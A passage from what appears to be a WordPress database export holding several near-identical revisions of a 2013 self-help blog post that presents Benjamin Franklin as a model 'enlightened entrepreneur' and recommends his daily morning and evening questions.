Question”.\n\n“What good have I done today”?\n\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'The Benjamin Franklin Model for Personal Development.', 0, '', 'inherit', 'open', 'open', '', '2436-revision', '', '', '2013-08-12 18:32:28', '2013-08-13 01:32:28', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision/', 0, 'revision', '', 0);
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(2439, 2, '2013-08-12 18:35:58', '2013-08-13 01:35:58', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" />\r\nLong before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! He’s a remarkable example of the “enlightened entrepreneur” and we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too. (Of course here on the WHC, we all know economic conditions have little effect on an entrepreneur’s business success. Success begins in your head).\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting things be free. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended everyday with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Development.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-2', '', '', '2013-08-12 18:35:58', '2013-08-13 01:35:58', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-2/', 0, 'revision', '', 0),
(2440, 2, '2013-08-12 18:36:12', '2013-08-13 01:36:12', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" />\r\nLong before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! He’s a remarkable example of the “enlightened entrepreneur” and we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too. (Of course here on the WHC, we all know economic conditions have little effect on an entrepreneur’s business success. Success begins in your head).\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting things be free. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended everyday with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Development.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-3', '', '', '2013-08-12 18:36:12', '2013-08-13 01:36:12', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-3/', 0, 'revision', '', 0),
(2444, 2, '2013-08-12 18:47:40', '2013-08-13 01:47:40', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\n\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\n\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\n\n<strong>The enlightened, creative entrepreneur.</strong>\n\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\n\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too.\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\n\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\n\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\n\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\n\n<strong>Virture, character and service. </strong>\n\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\nTell that to Apple and Samsung fighting over their patents to control markets.\n\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\n\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\n\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\n\nFranklin began every day with the “Morning Question”.\n\n“What good shall I do this day?”\n\nHe ended everyday with the “Evening Question”.\n\n“What good have I done today”?\n\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-7', '', '', '2013-08-12 18:47:40', '2013-08-13 01:47:40', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-7/', 0, 'revision', '', 0),
(2442, 2, '2013-08-12 18:44:32', '2013-08-13 01:44:32', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was a self-made man. He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended everyday with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-5', '', '', '2013-08-12 18:44:32', '2013-08-13 01:44:32', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-5/', 0, 'revision', '', 0),
(2443, 2, '2013-08-12 18:44:46', '2013-08-13 01:44:46', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was a self-made man. He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended everyday with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-6', '', '', '2013-08-12 18:44:46', '2013-08-13 01:44:46', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-6/', 0, 'revision', '', 0),
(2447, 2, '2013-08-12 18:54:24', '2013-08-13 01:54:24', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-10', '', '', '2013-08-12 18:54:24', '2013-08-13 01:54:24', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-10/', 0, 'revision', '', 0),
(2445, 2, '2013-08-12 18:51:07', '2013-08-13 01:51:07', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-8', '', '', '2013-08-12 18:51:07', '2013-08-13 01:51:07', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-8/', 0, 'revision', '', 0),
(2446, 2, '2013-08-12 18:52:14', '2013-08-13 01:52:14', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-9', '', '', '2013-08-12 18:52:14', '2013-08-13 01:52:14', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-9/', 0, 'revision', '', 0),
